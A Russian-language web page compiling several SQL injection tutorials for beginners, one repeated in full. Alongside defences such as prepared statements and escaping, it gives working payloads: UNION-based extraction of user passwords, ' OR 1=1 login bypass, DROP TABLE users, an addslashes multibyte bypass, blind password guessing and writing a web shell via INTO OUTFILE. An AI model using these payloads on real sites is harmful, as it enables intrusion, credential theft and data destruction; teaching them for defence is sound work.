Sql injection примеры. Как предотвратить SQL-инъекции

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги: Добавить метки

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

Пример уязвимости

Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
SQL-запрос получится таким:

Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

Как защититься?

Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

$sql = "SELECT username, realname
FROM users
WHERE cityid=""
.intval ( $_GET [ "cityid" ]) .""" ;

Отличия mysql_real_escape_string() и mysql_escape_string()

mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

mysql_real_escape_string() доступна в PHP с версии 4.3.0.

Дополнительные примеры

Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

Инъекция в сложных запросах

В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

Результаты запроса не отображаются пользователю

Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

$sql = "SELECT count(*)
FROM users
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

Выводы

  • Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
  • Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
  • Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
  • Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

Удачи в построении безопасных приложений!

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги:

  • SQL injection
  • sql inj
Добавить метки

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

Введение

Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:



Все параметры между

и
потенциально могут быть уязвимы к введению SQL кода.

2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

3.0. Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi" or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi" or 1=1--
Pass: hi" or 1=1--
http://duck/index.asp?id=hi" or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:



Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему " or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции " or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, "category" – это имя переменной, и "food" – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory="food"

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае "food". Теперь изменим URL следующим образом:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--‘

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен "food" или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ("). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

" or "a"="a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

